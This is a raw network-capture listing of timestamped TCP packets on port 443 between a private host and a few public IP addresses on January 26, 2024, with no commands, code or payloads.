Jan 26, 2024 10:17:37.832140923 CET	443	49737	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:37.832231045 CET	49737	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:37.832372904 CET	49737	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:37.832468033 CET	443	49737	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:37.832536936 CET	49737	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.088021040 CET	49738	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.088063955 CET	443	49738	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.088143110 CET	49738	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.088407993 CET	49738	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.088428020 CET	443	49738	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.093116999 CET	49739	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.093164921 CET	443	49739	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.093219995 CET	49739	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.093832016 CET	49739	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.093842030 CET	443	49739	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.397183895 CET	443	49738	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.397263050 CET	49738	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.400096893 CET	49738	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.400121927 CET	443	49738	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.400600910 CET	443	49738	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.400660038 CET	49738	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.401267052 CET	49738	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.401307106 CET	443	49738	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.401799917 CET	49738	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.403048038 CET	443	49739	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.403111935 CET	49739	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.405504942 CET	49739	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.405519009 CET	443	49739	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.405639887 CET	49739	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.405648947 CET	443	49739	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.405879021 CET	443	49739	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.405926943 CET	49739	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.441907883 CET	443	49738	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.752407074 CET	443	49739	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.752441883 CET	443	49739	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.752468109 CET	49739	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.752487898 CET	443	49739	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.752505064 CET	49739	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.752526045 CET	49739	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.752533913 CET	443	49739	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.752561092 CET	443	49739	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.752576113 CET	49739	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.752599955 CET	49739	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.754076958 CET	49739	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.754096031 CET	443	49739	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.759829998 CET	443	49738	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.759902000 CET	49738	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.759958029 CET	49738	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.760036945 CET	443	49738	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.760086060 CET	49738	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.872921944 CET	49740	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:38.872966051 CET	443	49740	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:38.873034000 CET	49740	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:38.873481035 CET	49740	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:38.873497963 CET	443	49740	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:38.948990107 CET	49741	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.949068069 CET	443	49741	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:38.949172974 CET	49741	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.949805975 CET	49741	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:38.949881077 CET	443	49741	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.061392069 CET	49742	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.061429977 CET	443	49742	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.061496973 CET	49742	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.066194057 CET	49742	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.066211939 CET	443	49742	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.100390911 CET	49743	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.100434065 CET	443	49743	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.100538015 CET	49743	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.100745916 CET	49743	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.100761890 CET	443	49743	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.185127974 CET	443	49740	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:39.185208082 CET	49740	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:39.189323902 CET	49740	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:39.189337969 CET	443	49740	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:39.189647913 CET	49740	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:39.189655066 CET	443	49740	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:39.189681053 CET	443	49740	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:39.189737082 CET	49740	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:39.196355104 CET	49744	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.196433067 CET	443	49744	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.196511984 CET	49744	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.198395014 CET	49744	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.198430061 CET	443	49744	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.256102085 CET	443	49741	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.256181955 CET	49741	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.256553888 CET	49741	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.256571054 CET	443	49741	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.256793976 CET	49741	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.256805897 CET	443	49741	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.261496067 CET	49745	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:17:39.261590958 CET	443	49745	13.89.179.11	192.168.2.16
Jan 26, 2024 10:17:39.261665106 CET	49745	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:17:39.262144089 CET	49745	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:17:39.262172937 CET	443	49745	13.89.179.11	192.168.2.16
Jan 26, 2024 10:17:39.314487934 CET	49746	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.314522028 CET	443	49746	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.314646006 CET	49746	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.314891100 CET	49746	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.314905882 CET	443	49746	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.380022049 CET	443	49742	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.380193949 CET	49742	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.380502939 CET	49742	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.380516052 CET	443	49742	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.380763054 CET	49742	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.380773067 CET	443	49742	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.409257889 CET	443	49743	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.409354925 CET	49743	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.409807920 CET	49743	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.409815073 CET	443	49743	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.409970045 CET	49743	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.409976959 CET	443	49743	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.451937914 CET	49747	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.452016115 CET	443	49747	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.452100992 CET	49747	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.452477932 CET	49747	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.452557087 CET	443	49747	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.490403891 CET	443	49740	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:39.490474939 CET	443	49740	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:39.490524054 CET	443	49740	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:39.490559101 CET	49740	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:39.490590096 CET	443	49740	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:39.490631104 CET	49740	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:39.490650892 CET	49740	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:39.512468100 CET	443	49744	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.512557030 CET	49744	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.512896061 CET	49744	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.512906075 CET	443	49744	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.513129950 CET	49744	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.513137102 CET	443	49744	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.622186899 CET	443	49746	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.622436047 CET	49746	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.622739077 CET	49746	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.622744083 CET	443	49746	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.622925043 CET	49746	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.622931957 CET	443	49746	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.636100054 CET	443	49740	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:39.636145115 CET	443	49741	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.636178970 CET	49740	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:39.636226892 CET	49741	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.636271954 CET	443	49740	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:39.636315107 CET	49740	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:39.636410952 CET	443	49740	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:39.636454105 CET	49740	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:39.637321949 CET	443	49741	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.637379885 CET	49741	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.637615919 CET	443	49741	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.637662888 CET	49741	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.637681961 CET	443	49741	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.637732983 CET	49741	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.642923117 CET	49740	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:39.642940044 CET	443	49740	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:39.642956972 CET	49740	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:39.643002987 CET	49740	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:39.643611908 CET	49741	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.643634081 CET	443	49741	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.645248890 CET	49748	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.645325899 CET	443	49748	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.645411015 CET	49748	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.645589113 CET	49748	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.645625114 CET	443	49748	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.648195982 CET	49749	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:39.648263931 CET	443	49749	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:39.648380995 CET	49749	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:39.648623943 CET	49749	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:39.648654938 CET	443	49749	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:39.699920893 CET	443	49745	13.89.179.11	192.168.2.16
Jan 26, 2024 10:17:39.700001955 CET	49745	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:17:39.702967882 CET	49745	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:17:39.702975988 CET	443	49745	13.89.179.11	192.168.2.16
Jan 26, 2024 10:17:39.703210115 CET	443	49745	13.89.179.11	192.168.2.16
Jan 26, 2024 10:17:39.703265905 CET	49745	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:17:39.703541994 CET	49745	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:17:39.703624010 CET	49745	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:17:39.703634977 CET	443	49745	13.89.179.11	192.168.2.16
Jan 26, 2024 10:17:39.766700029 CET	443	49747	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.766910076 CET	49747	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.767195940 CET	49747	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.767246008 CET	443	49747	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.767316103 CET	49747	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.767343044 CET	443	49747	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.831649065 CET	443	49742	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.831710100 CET	49742	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.832081079 CET	443	49742	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.832092047 CET	443	49742	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.832146883 CET	49742	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.832159996 CET	443	49742	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.832189083 CET	443	49742	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.832231998 CET	49742	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.832353115 CET	49742	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.832362890 CET	443	49742	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.862795115 CET	443	49743	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.862864971 CET	49743	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.863328934 CET	443	49743	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.863349915 CET	443	49743	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.863395929 CET	49743	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.863408089 CET	443	49743	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.863598108 CET	49743	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.863615036 CET	443	49743	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.863663912 CET	49743	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.863738060 CET	443	49743	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.863851070 CET	49743	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.863851070 CET	49743	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.863859892 CET	443	49743	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.863878012 CET	49743	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.863893986 CET	49743	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.885488033 CET	443	49744	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.885590076 CET	49744	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.886365891 CET	443	49744	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.886394978 CET	443	49744	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.886435986 CET	443	49744	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.886449099 CET	49744	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.886481047 CET	49744	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.886507988 CET	443	49744	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.886543989 CET	49744	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.886563063 CET	49744	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.886584997 CET	443	49744	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.886640072 CET	49744	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.886729956 CET	49744	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.886756897 CET	443	49744	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.973232985 CET	443	49745	13.89.179.11	192.168.2.16
Jan 26, 2024 10:17:39.973326921 CET	49745	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:17:39.973365068 CET	443	49745	13.89.179.11	192.168.2.16
Jan 26, 2024 10:17:39.973481894 CET	49745	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:17:39.973520994 CET	443	49745	13.89.179.11	192.168.2.16
Jan 26, 2024 10:17:39.973572969 CET	49745	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:17:39.973586082 CET	443	49745	13.89.179.11	192.168.2.16
Jan 26, 2024 10:17:39.973618031 CET	49745	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:17:39.973649025 CET	49745	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:17:39.973649025 CET	49745	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:17:39.978831053 CET	443	49748	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.978842974 CET	443	49749	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:39.978929996 CET	49748	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.978941917 CET	49749	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:39.979281902 CET	49749	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:39.979295015 CET	443	49749	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:39.979403973 CET	49748	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.979446888 CET	443	49748	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:39.979477882 CET	49749	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:39.979485989 CET	443	49749	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:39.979651928 CET	49748	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:39.979666948 CET	443	49748	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.000391006 CET	443	49746	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.000453949 CET	49746	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.001246929 CET	443	49746	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.001267910 CET	443	49746	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.001363993 CET	443	49746	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.001365900 CET	49746	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.001422882 CET	49746	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.001490116 CET	49746	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.001502037 CET	443	49746	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.118225098 CET	49750	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.118264914 CET	443	49750	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.118387938 CET	49750	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.118889093 CET	49750	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.118902922 CET	443	49750	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.144273043 CET	443	49747	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.144355059 CET	443	49747	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.144387960 CET	443	49747	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.144392967 CET	49747	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.144428968 CET	443	49747	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.144448996 CET	443	49747	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.144450903 CET	49747	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.144450903 CET	49747	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.144478083 CET	49747	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.144500971 CET	49747	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.147830963 CET	49747	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.147856951 CET	443	49747	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.329473972 CET	443	49748	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.329679012 CET	443	49748	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.329729080 CET	443	49748	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.329869032 CET	443	49748	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.329930067 CET	49748	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.329931021 CET	49748	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.330043077 CET	49748	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.330490112 CET	49748	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.330552101 CET	443	49748	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.354533911 CET	49751	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:17:40.354631901 CET	443	49751	204.79.197.222	192.168.2.16
Jan 26, 2024 10:17:40.354710102 CET	49751	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:17:40.355115891 CET	49751	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:17:40.355144978 CET	443	49751	204.79.197.222	192.168.2.16
Jan 26, 2024 10:17:40.409316063 CET	443	49749	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:40.409348965 CET	443	49749	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:40.409432888 CET	443	49749	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:40.409431934 CET	49749	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:40.409496069 CET	49749	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:40.409496069 CET	49749	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:40.419689894 CET	49749	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:40.419749975 CET	443	49749	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:40.426268101 CET	443	49750	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.427748919 CET	49750	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.435342073 CET	49750	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.435349941 CET	443	49750	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.435621023 CET	49750	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.435627937 CET	443	49750	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.435935020 CET	49750	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.435946941 CET	443	49750	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.436052084 CET	49750	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.436069012 CET	443	49750	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.436322927 CET	49750	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:40.436330080 CET	443	49750	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:40.458811045 CET	49752	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:40.458849907 CET	443	49752	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:40.458973885 CET	49752	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:40.476659060 CET	49752	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:40.476684093 CET	443	49752	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:40.726325035 CET	443	49751	204.79.197.222	192.168.2.16
Jan 26, 2024 10:17:40.726413965 CET	49751	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:17:40.729677916 CET	49751	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:17:40.729685068 CET	443	49751	204.79.197.222	192.168.2.16
Jan 26, 2024 10:17:40.730051041 CET	49751	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:17:40.730057955 CET	443	49751	204.79.197.222	192.168.2.16
Jan 26, 2024 10:17:40.730123043 CET	443	49751	204.79.197.222	192.168.2.16
Jan 26, 2024 10:17:40.730181932 CET	49751	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:17:40.786955118 CET	443	49752	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:40.787031889 CET	49752	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:40.787359953 CET	49752	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:40.787369967 CET	443	49752	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:40.787523985 CET	49752	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:40.787530899 CET	443	49752	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:40.851700068 CET	443	49751	204.79.197.222	192.168.2.16
Jan 26, 2024 10:17:40.851722956 CET	443	49751	204.79.197.222	192.168.2.16
Jan 26, 2024 10:17:40.851761103 CET	49751	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:17:40.851792097 CET	443	49751	204.79.197.222	192.168.2.16
Jan 26, 2024 10:17:40.851814985 CET	443	49751	204.79.197.222	192.168.2.16
Jan 26, 2024 10:17:40.851819038 CET	49751	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:17:40.851870060 CET	49751	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:17:40.851897001 CET	443	49751	204.79.197.222	192.168.2.16
Jan 26, 2024 10:17:40.851917028 CET	443	49751	204.79.197.222	192.168.2.16
Jan 26, 2024 10:17:40.851948023 CET	49751	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:17:40.851964951 CET	443	49751	204.79.197.222	192.168.2.16
Jan 26, 2024 10:17:40.851986885 CET	49751	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:17:40.851991892 CET	443	49751	204.79.197.222	192.168.2.16
Jan 26, 2024 10:17:40.852040052 CET	49751	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:17:40.852051973 CET	443	49751	204.79.197.222	192.168.2.16
Jan 26, 2024 10:17:40.852070093 CET	443	49751	204.79.197.222	192.168.2.16
Jan 26, 2024 10:17:40.852117062 CET	49751	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:17:40.852128029 CET	443	49751	204.79.197.222	192.168.2.16
Jan 26, 2024 10:17:40.852175951 CET	49751	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:17:40.852188110 CET	443	49751	204.79.197.222	192.168.2.16
